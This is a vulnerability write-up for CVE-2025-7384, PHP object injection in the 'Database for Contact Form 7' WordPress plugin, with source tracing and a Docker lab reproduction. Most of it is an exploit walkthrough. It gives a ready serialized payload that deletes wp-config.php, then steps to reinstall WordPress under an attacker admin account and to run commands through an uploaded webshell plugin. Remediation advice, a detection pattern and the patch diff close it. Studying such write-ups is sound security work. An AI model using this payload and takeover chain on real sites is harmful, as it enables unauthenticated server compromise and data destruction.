Share
## https://sploitus.com/exploit?id=9A6E520F-F49E-5705-9FBF-95D9E87D9489
# CVE-2025-7384 โ€” PHP Object Injection to RCE

**Plugin:** Database for Contact Form 7 (contact-form-entries) โ‰ค 1.4.3  
**CVSS:** 9.8 (Critical)  
**CWE:** CWE-502 โ€” Deserialization of Untrusted Data  
**Authentication Requirement:** None (Unauthenticated)  
**Impact:** Remote Code Execution  

---

## Table of Contents

1. [Vulnerability Overview](#1-vulnerability-overview)
2. [Related Concepts](#2-related-concepts)
3. [Root Cause Analysis (Source Code + Debug)](#3-root-cause-analysis--vulnerability-discovery-from-source-code)
4. [Attack Chain](#4-attack-chain)
5. [Step-by-Step Reproduction (POC)](#5-step-by-step-reproduction-poc)
6. [Impact Assessment](#6-impact-assessment)
7. [Remediation Measures](#7-remediation-measures)

---

## 1. Vulnerability Overview

The "Database for Contact Form 7" plugin (slug: `contact-form-entries`) version 1.4.3 and below contains a PHP Object Injection vulnerability. When a WordPress administrator views a form record (entry) inside the admin panel, the plugin calls the function `maybe_unserialize()` directly on data submitted by an unauthenticated user via Contact Form 7, without controlling the list of allowed classes to instantiate.

An attacker does not need to log in โ€” they only need to submit a regular contact form while inserting a serialized PHP object into any form field. This data is stored raw in the database. When an admin opens to view that entry, the deserialization function will instantiate an object of the attacker's choice, triggering magic methods like `__destruct()` or `__wakeup()` โ†’ executing arbitrary behavior depending on the POP gadgets available in the WordPress environment.

> **Severity Level:** With a suitable POP gadget (for example, a class whose `__destruct()` method calls `unlink()`), an attacker can delete the `wp-config.php` file, reverting WordPress back to its initial installation screen โ†’ reinstalling with an administrator account controlled by the attacker โ†’ installing a plugin containing a webshell โ†’ achieving full Remote Code Execution (RCE) on the server.

| Attribute | Value |
|---|---|
| CVE ID | CVE-2025-7384 |
| CVSS Score | 9.8 (Critical) |
| CWE | CWE-502 โ€” Deserialization of Untrusted Data |
| Affected Plugin | contact-form-entries (Database for Contact Form 7) โ‰ค 1.4.3 |
| Authentication Requirement | None โ€” anyone submitting a CF7 form can inject payload |
| Trigger Condition | Admin views the injected entry in the admin panel |
| Maximum Impact | Unauthenticated Remote Code Execution |
| Patched Version | 1.4.4+ (replaces `unserialize` with `json_decode` or `allowed_classes: false`) |

---

## 2. Related Concepts

### PHP Serialization / Deserialization

PHP uses `serialize()` to convert an object into a structured text string, and `unserialize()` to restore the object from that string. When `unserialize()` receives data from an untrusted source (e.g., user input), an attacker can construct an arbitrary object belonging to any class currently loaded in PHP memory at that moment.

### PHP Magic Methods

Special methods that PHP automatically invokes during an object's lifecycle. Most important in this context:

- `__wakeup()` โ€” invoked immediately when an object is unserialized
- `__destruct()` โ€” invoked when an object is destroyed (goes out of scope, or request ends)
- `__toString()` โ€” invoked when an object is cast to a string

### POP Chain (Property-Oriented Programming)

A technique of chaining multiple magic methods from existing classes within the application to construct a dangerous sequence of behaviors. The attacker does not write new code โ€” they only manipulate the *properties* of existing objects so that when magic methods execute, they perform actions unintentional to the developers.

### `maybe_unserialize()` in WordPress

A WordPress Core wrapper function. It calls `is_serialized()` to check if a string is serialized data โ€” if true, it calls `unserialize()` to restore the object. Problem: this function does **not** pass the `allowed_classes` parameter (available since PHP 7.0) to limit which classes are permitted to instantiate.

---

## 3. Root Cause Analysis โ€” Vulnerability Discovery from Source Code

### Step 1: Finding Sink Points (Sink Hunting)

Start by grepping the entire plugin source code to locate deserialization functions โ€” these are the most dangerous functions in PHP as they can lead to Object Injection:

```bash
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/
```

![image.png](assets/image.png)

The output reveals multiple call sites for `maybe_unserialize()`, most notably inside `includes/data.php` line 545 within the `verify_val()` function:

![image 1.png](assets/image%201.png)

```php
// data.php lines 538-548
public function verify_val($string){
    if(in_array(substr(ltrim($string),0,1), array('{','['))
       && in_array(substr(rtrim($string),-1), array('}',']'))
    ){
        $val = json_decode($string, 1);
        if(is_array($val)){ $string = $val; }
    } else if(is_serialized($string)){            // line 544
        $string = maybe_unserialize($string);     // โ˜… line 545 โ€” SINK
    }
    return $string;
}
```

**Key Question:** Where does the `$string` variable originate? If it comes from user input without filtering โ†’ this is a vulnerability.

### Step 2: Backward Tracing โ€” Where does the data come from?

Find where `verify_val()` is invoked. Trace backward in the same `data.php` file:

![image 2.png](assets/image%202.png)

```php
// data.php lines 520-535
public function get_lead_detail($lead_id){
    global $wpdb;
    $table = $wpdb->prefix . 'vxcf_leads_detail';
    $detail_arr = $wpdb->get_results(
        $wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
        ARRAY_A
    );

    foreach($detail_arr as $k => $v){
        if(!empty($v['value'])){
            $detail_arr[$k]['value'] = $this->verify_val($v['value']);  // โ† calls verify_val
        }
    }
    return $detail_arr;
}
```

โ†’ `$string` is precisely `$v['value']` โ€” values retrieved from the `wp_vxcf_leads_detail` database table. This function is called when an admin views the details of a form entry.

**Next Question:** Where does data inside `wp_vxcf_leads_detail` come from? Who writes it?

### Step 3: Finding Data Write Points (Source)

From Step 2, we know data is pulled from the database. Next question: who writes data into it? Search for INSERT queries within `data.php`:

```bash
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php
```

![image 3.png](assets/image%203.png)

Open the `create_lead()` function code (lines 85-103) for details:

![image 4.png](assets/image%204.png)

At lines 98-99, the value `$v` โ€” which is the content of a form field (e.g., `your-message`) โ€” is inserted **directly into the database** via `$wpdb->insert()`. The plugin hooks into Contact Form 7's `wpcf7_before_send_mail` event, so whenever a user submits a form, all fields are stored raw.

Additional check: the plugin does use `sanitize_text_field()` and `sanitize_textarea_field()` prior to saving, but these two functions only strip HTML tags and special HTML characters โ€” a serialized payload like `O:21:"VulnerableFileHandler":2:{...}` **contains no HTML tags** and thus passes through entirely intact.

### Step 4: Conclusion โ€” Vulnerability Confirmation

At this point, the complete flow is established:

```
Unauthenticated user submits CF7 form (your-message field contains serialized object)
    โ†“ sanitize_text_field() โ€” DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
    โ†“
Admin views entry โ†’ get_lead_detail() โ†’ verify_val()
    โ†“ is_serialized() returns true
maybe_unserialize($string) โ€” line 545 โ†’ PHP instantiates arbitrary object
    โ†“
Object's __destruct() executes โ†’ performs attacker-controlled action
```

> **Root Cause:** The `maybe_unserialize()` function at `data.php:545` is called on data originating from unauthenticated user input, without passing `allowed_classes: false`. An attacker simply needs to submit a serialized PHP object through the `your-message` field of a CF7 form โ†’ when an admin views the entry, PHP instantiates that object and triggers the `__destruct()` magic method.

### Step 5: Debugger Verification (Xdebug)

For visual proof, set a breakpoint using Xdebug at line 545 of `data.php`. After injecting the payload via the form and having the admin view the entry, the debugger pauses exactly at `maybe_unserialize()`:

![image 5.png](assets/image%205.png)

**Variables Panel** displays `$string` holding the attacker's payload:
- `$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}"` โ†’ payload traveled from form โ†’ database โ†’ deserialization function without being blocked

**Execution Line:**
- Line 545: `$string=maybe_unserialize($string);`

**Call Stack** shows the function call sequence:
```
vxcf_form_data->verify_val        data.php:545
vxcf_form_data->get_entries       data.php:388
vxcf_form::get_entries            contact-form-entries.php:2682
vxcf_form_pages->entries_page     plugin-pages.php:1017
...
WP_Hook->apply_filters            class-wp-hook.php:324
WP_Hook->do_action                class-wp-hook.php:348
```

โ†’ Confirms exact analyzed flow: admin views entry โ†’ `get_entries()` โ†’ `verify_val()` โ†’ `maybe_unserialize()`.

---

## 4. Attack Chain

The attack chain consists of 5 stages. The attacker only needs to execute Stage 1 (form submission). Stages 2-5 occur automatically after an admin views the entry.

### Stage 1 โ€” Inject Payload (Unauthenticated)

The attacker submits a CF7 form with a serialized PHP object in the message field.

- Endpoint: `POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedback`
- Field `your-message` contains: `O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}`
- Plugin saves payload into `wp_vxcf_leads_detail` table โ€” `sanitize_text_field()` does not block serialized strings

### Stage 2 โ€” Trigger Deserialization (Awaiting admin)

Admin opens Contact Form Entries page โ†’ views entry details โ†’ plugin calls `verify_val()` โ†’ `maybe_unserialize()`.

- PHP instantiates object `VulnerableFileHandler` with `file_path = "/var/www/html/wp-config.php"` and `cleanup = true`
- When the request finishes, PHP garbage collection invokes `__destruct()` โ†’ `unlink("/var/www/html/wp-config.php")`

### Stage 3 โ€” Arbitrary File Deletion

The `wp-config.php` file is deleted โ†’ WordPress loses database connection.

- Accessing `http://target/` โ†’ automatically redirects to `/wp-admin/setup-config.php` (initial setup screen)
- WordPress treats the site as uninstalled

### Stage 4 โ€” WordPress Reinstallation

The attacker reinstalls WordPress using known (or brute-forced) database credentials.

- Create a new administrator account controlled by the attacker
- Log in to admin dashboard with full administrator privileges

### Stage 5 โ€” Remote Code Execution

Install a plugin containing a webshell โ†’ execute arbitrary system commands.

- Admin dashboard โ†’ Plugins โ†’ Add New โ†’ Upload plugin ZIP containing PHP webshell
- Access webshell URL: `/wp-content/plugins/shell/shell.php?cmd=id`
- Output: `uid=33(www-data) gid=33(www-data)` โ†’ RCE completed

---

## 5. Step-by-Step Reproduction (POC)

### 5.1 Environment Setup

Start the Docker lab containing WordPress + vulnerable plugin:

```bash
cd CVE-2025-7384
docker-compose up --build -d
```

Wait around 40 seconds until logs display `LAB READY`. Access `http://localhost:8181` to verify WordPress is running.

### 5.2 Identify Injection Point

From source code analysis in Section 3, we know:
- **Sink** is located at `data.php:545` โ€” `maybe_unserialize()` on form field values
- **Source** is table `wp_vxcf_leads_detail` โ€” data comes from CF7 form
- **Sanitization** only relies on `sanitize_text_field()` โ€” does not block serialized strings

โ†’ Conclusion: simply submit a serialized PHP object into **any field** of the CF7 form. Pick `your-message` since it is a textarea, accepts long strings, and has less format validation (unlike `your-email` requiring email format).

### 5.3 Inject Payload via Contact Form

Access `http://localhost:8181/contact/`, fill out form as follows:

| Field | Value |
|--------|---------|
| Your name | dung |
| Your email | dung@twtt.com |
| Subject | test inject |
| Your message | `O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}` |

![image 6.png](assets/image%206.png)

Payload Explanation:
- `O:21:"VulnerableFileHandler"` โ€” instantiates class `VulnerableFileHandler` (which has `__destruct()` calling `unlink()`)
- `s:9:"file_path";s:27:"/var/www/html/wp-config.php"` โ€” `file_path` property points to target file to delete
- `s:7:"cleanup";b:1` โ€” property `cleanup = true` so `__destruct()` executes `unlink()`

Click **Submit**. The form shows a mail sending error message (or success) โ€” irrelevant, as `contact-form-entries` plugin already saved all data to the database before mail delivery.

### 5.4 Trigger Deserialization โ€” Admin Views Entry

Log in to `http://localhost:8181/wp-admin` (admin / admin123) โ†’ left menu select **CRM Entries** โ†’ click to view the received entry.

![image 7.png](assets/image%207.png)

This is the exact moment execution reaches `data.php:545` โ€” plugin fetches `your-message` value from database, `is_serialized()` check returns `true`, calls `maybe_unserialize()` โ†’ PHP creates `VulnerableFileHandler` object โ†’ request terminates, `__destruct()` executes โ†’ `unlink("/var/www/html/wp-config.php")`.

### 5.5 Confirm Arbitrary File Deletion

Navigate to `http://localhost:8181/` in browser โ†’ WordPress redirects to `/wp-admin/setup-config.php` page (initial setup screen) โ†’ `wp-config.php` file successfully deleted.

![image 8.png](assets/image%208.png)

### 5.6 Escalate to RCE

With `wp-config.php` deleted, WordPress reverts to uninstalled state. Attacker steps:

**Step 1 โ€” Reinstall WordPress:**

Access `http://localhost:8181/wp-admin/setup-config.php` โ†’ enter database credentials:

| Field | Value |
|--------|---------|
| Database Name | wordpress |
| Username | wpuser |
| Password | wppass |
| Database Host | db |
| Table Prefix | wp_ |

Click Submit โ†’ Run the installation โ†’ create new admin account controlled by attacker.

**Step 2 โ€” Upload Webshell:**

Log in to admin dashboard โ†’ **Plugins โ†’ Add New โ†’ Upload Plugin** โ†’ upload `system-health.zip` file (or `system-monitor.zip`).

![image 9.png](assets/image%209.png)

Upload and Activate successful.

**Step 3 โ€” Execute Commands (RCE):**

Access: `http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id`

![image 10.png](assets/image%2010.png)

Output: `uid=33(www-data) gid=33(www-data)` โ†’ **Remote Code Execution Completed**

Access: `http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami`

![image 11.png](assets/image%2011.png)

Output: `www-data` โ†’ **Remote Code Execution Completed**

---

## 6. Impact Assessment

| CVSS Metric | Value | Explanation |
|---|---|---|
| Attack Vector | Network | Exploited over HTTP, no physical access needed |
| Attack Complexity | Low | Requires sending only 1 POST request containing payload |
| Privileges Required | None | No authentication required โ€” CF7 form open to public |
| User Interaction | None* | Admin views entries during routine workflow |
| Confidentiality | High | RCE permits reading any file on the server |
| Integrity | High | RCE permits writing/modifying any file |
| Availability | High | Deleting wp-config.php crashes entire website |

*User Interaction: NVD rates as None because an admin viewing form entries is expected behavior, not anomalous user interaction.

### Real-World Scope of Impact

- Plugin "Database for Contact Form 7" has over **100,000+ active installations** on wordpress.org
- Any WordPress site running this plugin version โ‰ค 1.4.3 alongside Contact Form 7 is vulnerable
- Attacker needs zero prior information โ€” only needs to identify that the site uses Contact Form 7 (easily detectable via HTML source)
- Payload is persistently stored in database, making the attack persistent until the entry is deleted

---

## 7. Remediation Measures

### For Plugin Developers

1. **Do not use `maybe_unserialize()` on user-supplied data.** Use `json_decode()` instead when structured data storage is required.

2. If deserialization is strictly necessary, supply the `allowed_classes: false` option (PHP 7.0+):

```php
$data = unserialize($string, ['allowed_classes' => false]);
```

This prevents PHP from instantiating any objects โ€” allowing only scalar types and arrays.

3. Validate input data at storage layer: if a form field should only contain plain text, reject any value matching pattern `/^[OaCis]:\d+/` (indicator of serialized data).

### For WordPress Administrators

1. **Update plugin immediately** to version 1.4.4 or higher
2. Inspect `wp_vxcf_leads_detail` database table for entries containing strings matching `O:XX:"ClassName":` format โ€” presence indicates attack attempts
3. Ensure `wp-config.php` has restrictive file permissions (440 or 400) โ€” reducing probability of deletion by web server process
4. Deploy a WAF (Web Application Firewall) configured with rules to detect serialized PHP objects in POST data

### Patch Diff (Reference)

```php
// BEFORE (vulnerable):
} else if(is_serialized($string)){
    $string = maybe_unserialize($string);
}

// AFTER (patched):
} else if(is_serialized($string)){
    $string = json_decode(json_encode(
        unserialize($string, ['allowed_classes' => false])
    ), true);
}
```